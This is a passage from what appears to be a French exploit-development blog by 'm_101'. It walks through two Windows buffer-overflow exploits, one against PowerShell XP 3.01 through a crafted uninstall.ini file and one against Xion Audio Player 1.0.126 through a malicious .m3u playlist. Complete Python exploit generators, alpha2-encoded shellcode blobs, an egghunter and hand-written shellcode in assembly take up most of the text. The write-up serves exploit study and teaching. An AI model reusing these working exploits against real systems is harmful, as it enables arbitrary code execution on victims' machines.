- recherche de la base de kernel32
- résolution des symbôles de kernel32
- LoadLibraryA ("ntdll.dll")
- résolution des symbôles de ntdll
- allocation de mémoire :
       RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, MEMORY_SIZE)
- VirtualProtect() // inutile ici mais ça pourrait être utile pour faire du staging par exemple ;)
- On set esp à la zone allouée
- MessageBox()
- Calcul de la position de notre "vraie" payload + jmp vers celle-ci (EAX based)

J'ai légèrement tweaké la routine de résolution des symbols de skape (ret 8 à la
fin de find_function).
Y'a moyen d'optimiser plus mais bon, ici on a 5268 octets d'espace, on a largement
de quoi faire :).

Finally hacked?

Let's try that :).


Oh yeah baby! :)

Le sploit

Comme vu dans mon shellcode windows, je fais un jmp eax après, ça explique le fait
qu'il faudra baser votre payload alpha2 encoded sur EAX ;). Si vous voulez changer
de base address, suffit de modder le shellcode ;).
Here it is :
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author : m_101 
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268
# size 118, tag = 'PAWN'
allocnewstack = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkffbxyyFeWpgpUPixL5kOKOKOmQzLupS0uPS0mY8eOy3udTKXnMgpgpwpmYKrnkqeUDmQkvssgqwpUPlIxqmQkqDLuPuP5Pnm1mUPKXDC6aePUPLKQM7dK1HCcguQwp5PbsKOpU5XmYkroyXqk1yQdDuPEPgpM8KWwpuPePlKqMDTMQYSqquQUPWpSckOPUuXk9ZblIZQmQjawtc0Gp7pKXzkGpwp7pio2u5PPhuPwpdPWpU8fh7pwpS0pPkOSeVlRpLMrmELSaQxspGpEPEPE8EPWpR0GpRp9oPUWtPZOqYR5Pgp4PGp1B3lSXEP7pGp30nkQM6tMQZcSLc1ePWpRsNksm5DoqiS0l5QC0UPpSqxs0EPEP7p9o65FpLKSub4OKWmfcwpUP7qN8kOKPeao0cTgsw000RXtLnkQPflNkpp5LNMlKspTHHkWylKQPp4lMcpQlLK1PelKsu0nkplQ4utNk2egLnkQDs5RXs1jJLKQZ6xlK3jep7qHkm3dw0INk4tnkgq8n4qkOP1o0kLNLmTYPrTgzkqZoTMeQkwXi9akOKOkO7KqletQ82U9NnkpZa4uQzKSVlKVlpKlKRzuLC1ZKLK5TnkVajHMYqTUtULaqYRC8S0LmrppRkXMuIoioKOOyfgOqO7Fds0uPEPuixNRUHl9SLnXlfnlhUKYV3vaiNn2nDNxl16gUuIenLhY2pMOLRNqdCTBLrL6NqtrLPlwp45qccUT2wCDrFNqtPlRL30rppaQg0nu5e4WPU2PyWPrMCo5aVPUauPw8cQ53PkquQtwQ5pDzGYS0A"

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
# we need to allocate a new stack or it will trigger an access violation because we reach end of .data section
payload = allocnewstack + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()


Usage :
./alpha2 esp < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]


Le fichier uninstall.ini.tomod est fourni en fin d'article.

Comment ça, ça servait à rien de shellcoder une payload maison?

:) bah oui y'a quand même plus simple hein que de devoir faire une payload d'allocation d'une nouvelle stack ... fallait bien que je trouve une excuse pour le shellcoding windows et puis c'est quand même plus classe de pouvoir crafter ses propres payloads :p. Anyway, suffit de tweaké un peu mieux notre code d'alignement pour que tout roule nickel ;).

# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

Ici le registre de base est EAX par contre (push esp, pop eax) vu qu'on restore
l'ancienne stack. Et wala, on est passé de 1362 octets à 501 octets sans la
payload maison ;).  Bien sûr, vous pourrez toujours en ajouter une maintenant
que vous savez faire :). Les push ecx sont là pour restorer les instructions
écrasées sur la stack (qu'on exécute!) sinon on peut avoir un access violation!

Au final, notre shellcode ressemble désormais à ça :
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 585
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash
MESSAGEBOXAHASH     equ     0xbc4da2a8
LOADLIBRARYAHASH    equ     0xec0e4e8e

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20   ; make room on stack to store pointers
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; kernel32.dll
    ; resolve LoadLibraryA
    push LOADLIBRARYAHASH
    push eax
    call find_function
    mov [ebp+LOADLIBRARYA], eax

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; user32.dll
    ; resolve MessageBoxA
    push MESSAGEBOXAHASH
    push eax
    call find_function
    mov [ebp+MESSAGEBOXA], eax

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOXA]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
LOADLIBRARYA            equ 0

; user32
USER32_FUNC_TABLE   equ 4
MESSAGEBOXA         equ 4

;
ADDRESS_STUB        equ 8

; dll to load
user32_dll: db 'user32.dll', 0

; message to show :)
pawnTitle: db 'Hacked! :)', 0
pawnMsg: db 'Pawned by m_101', 0

    ; (alpha2 payload eax based)
    payload:

Et voilà le résultat :).
Dans les deuxs shellcodes vous pouvez voir que j'ai des defines pour la payload,
ça sert à calculer l'offset de la seconde payload en alpha2 qui est concaténée
à la suite ;).

Ca nous donne donc l'exploit final :
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author       : m_101
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA"
payload = msg + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()

Usage :
./alpha2 eax < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]

Le fichiers nécessaire uninstall.ini.tomod est fourni en fin d'article.

Conclusion

Comment quoi on aura pu voir que les overflow ne se déroulent pas qu'en stack,
mais aussi dans toutes les autres sections ou on peut écrire/exécuter du code ;).
En plus de tout ça, un avant-goût a été donné sur le shellcoding windows.

J'espère que ça vous a plut,

Have fun,

m_101

- [URL] Dessinez des stacks en LaTeX
- [URL] PowerShell XP 3.01
- [Fichier] uninstall.ini.tomod
- [Exploit] PowerShell XP 3.01 exploit

mardi 30 novembre 2010

[Exploit] Xion Audio Player 1.0.126 Buffer Overflow Vulnerability

[UPDATE : 30/11/2010] : corelanc0d3r backlinking + explication rapide sur egghunting + msf exploit module link

Bonsoir,

On voit souvent des vulnérabilitées étant classifiées comme des DOS, c'est assez courant mine de rien.
Aujourd'hui, je me balade sur Exploit-DB et je tombe sur ce DOS là : ici .

Let's hack it! ^^

Trigger it

Assez courant ces fichiers avec pleins de 'A' ;).

La première chose à faire est de savoir si on a un EIP ou un SEH overwrite :).

On génère notre fichier .m3u avec metasploit :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 10240 < ~/shared/msfpattern.m3u

On ouvre dans la "playlist" dans le lecteur.

Crash!


Oo de l'unicode dans notre SEH!! :)

On cherche l'offset avec pvefindaddr :
!pvefindaddr suggest


Et hop, on écrase le seh au bout de 263 octets (j'avais trouvé 252 au départ bizarrement ... testez ça marche encore avec mon sploit python ;)).
[EDIT] : L'offset change selon la longueur du path où se trouve le fichier mais ne dépend aucunement de la longueur du nom de fichier. Ici on trouve 263 car le fichier evil.m3u se trouve à la racine d'un disque.

Passons maintenant à la phase cassage du soft :).

Hack it!

On cherche une address de type ppr mais manque de pot, y'en a aucune qui est compatible unicode :(.

pvefindaddr est mine de rien un outils puissant ... il nous sauve la mise en nous trouvant un pointeur vers une instruction équivalente :
!pvefindaddr a
ce qui nous donne plusieurs pointeurs dont 0x00510043.

On a donc :
# 51            push ecx
# 00 43 00      add byte [ebx], al  ; nop
seh = '\x51\x43'    # add esp, 8 | ret

Il nous faut donc que EBX pointe vers une addresse écrivable.
En regardant notre pile, on voit que l'adresse empilée correspond à une addresse de stack => addresse écrivable.

 
Ce qui nous donne donc :

# 5b            pop ebx
# 00 43 00      add byte [ebx], al  ; nop
nseh = '\x5b\x43'

Dans notre screen précédent, on remarque aussi qu'il faut 2 pop avant d'atteindre un pointeur vers notre buffer unicode :). On va baser notre payload unicode sur ESP. Ca nous donne donc ça :
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"

Il ne reste donc plus qu'à aligner notre pile correctement. Pour celà, l'instruction popad est très pratique, elle dépile 8*4 = 32 octets pour un octet de code (4 si on compte le nop).
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
Vu qu'on pointe sur le début de notre buffer unicode, il faut donc qu'on y mettre 32 octets au mieux :).

Par contre, on a un problème à résoudre avant car les nops qu'on utilise ont la forme :
add [reg1], reg2
Il faut donc que reg1 pointe vers une addresse valide ... hors on détruit nos registres avec popad. Pour trouver notre addresse, on va utiliser la vue "Memory" (Alt+M) de Immunity DBG.


On trouve 3 plage intéressantes : numériques ;).

Ca nous donne donc ça :
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"   ; ecx
align += "\x41\x39"   ; eax

On a finit de construire notre code d'alignement :
# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

Vous mettez le sploit unicode (encodé avec alpha2) et tout devrait rouler ;).
N'oubliez pas de modifier le deuxième byte de la payload alpha2 avec 'a' (ecx) car sinon vous aurez un bon plantage (ebp pointe pas vers une bonne addresse).
Au final, on finit avec un beau sploit ;).

Egghunting?

Avoir la possibilitée d'encoder nos payloads avec l'encodeur alpha2 est somme tout assez pratique mais on se rend compte que niveau taille c'est pas trop ça ...
Comme vous le savez sûrement, il y a plusieurs techniques pour contourner les problèmes de tailles telles que le staging ou encore le egghunting.

Le egghunting consiste à chercher notre payload principale plus grosse en mémoire à l'aide d'une première payload de recherche.
Le paper de skape explique clairement le principe qui se résume aux étapes suivante :
1 - recherche d'une adresse mémoire valide (et lisible), si fail, on boucle sur 1
En effet, si nous essayons de lire une addresse mémoire non valide, nous aurons un plantage de la payload et donc un arrêt de notre exécution de code.
2 - vérification si le tag correspond (on boucle sur 1 si fail)
Le tag doit être unique, pour celà skape utilise un tag de 8 octets.
3 - exécution de la payload
Une fois le tag trouvé, on a un beau jmp vers celui-ci :).

Parfois on peut rencontrer des problèmes avec les egghunters telle que de multiples copies de la payload principale en mémoire (et certaines corrompues). La solution est de changer l'adresse de départ du egghunter ;).

corelanc0d3r a écrit un article entier sur le sujet sous forme de tutoriel : Exploit writing : Egghunting on Windows .

Et voilà now on a toutes les briques pour notre sploit' ^^.

Sploit it!

Voilà mon deuxième exploit unicode ^^ :
#!/usr/bin/python3

import sys
import subprocess

if len(sys.argv) < 3:
    print("Usage: %s payload output")
    exit(1)

filename = sys.argv[1]
fp = open(filename, 'rb')
payload = fp.read()
fp.close()

trigger1 = 'A' * 252
# skape NtDisplayString egghunter : alpha2 --unicode esp < egghunter.bin
hunter = 'TaYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBove1GZyolOa2Nr1Za3NxhMlnMlYuNzptjOwHr0mqr70NriVwfOqeJJvOBUYWKOk7A'
# egghunter tag
tag = 'PAWN' * 2

# 5b            pop ebx
# 00 43 00      add byte [ebx], al
nseh = '\x5b\x43'
# 51            push ecx
# 00 43 00      add byte [ebx], al
seh = '\x51\x43'    # add esp, 8 | ret

# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"     # ecx
align += "\x41\x39"     # eax

# make str long enough to trigger
trigger2 = 'B' * 3000

output = sys.argv[2]
fp = open(output, 'wb')
egg = trigger1 + nseh + seh + align + hunter + trigger2 + tag
fp.write(egg.encode())
fp.write(payload)
fp.close()

Sploit dev is expensive!

Sinon, je lis souvent qu'un sploit ça peut coûter cher à développer, voilà le temps que ça m'a mis : 2h20 pour le sploit original + 25 minutes pour le module msf et 45 minutes pour écrire l'article, soit 3h30.
Si on compte un forfait mensuel de 300€ pour de la main d'oeuvre pas cher (Chine par exemple) travaillant 20 jours mensuellement avec 10h par jour, ça nous fait 5.25€ :).
Bon j'exagère, je compte pas le temps pour trouver la vulnérabilitiée et pas tous le monde sait coder un exploit (y'a quand même beaucoup de gens :)).
Un bon sploit déveur est apparemment rémunéré dans les 250k/an, ce qui nous donnerais 364.6€ de développement.
On parle ici que d'une seule vuln' et d'un seul développeur, avec le fuzzing et si vous rajouter le développement d'un framework derrière ... ça monte assez vite.

Let's conclude!


J'ai écrit un module msf aussi, dès qu'il sera publié, j'updaterais le post avec le lien du sploit ;).
Après considération, on se rend compte qu'en utilisant l'encodeur alpha2, le plus important est de pouvoir aligner notre code ensuite le décodeur fait tous le boulot ;).

Have fun,

m_101

Liens :
- Foxit reader exploitation (Sud0)
- Foxit reader exploitation (m_101)
- Peter Van Eeckoutte's Exploit writing : Unicode exploitation
- Xion Audio Player 1.0.126 MSF Exploit module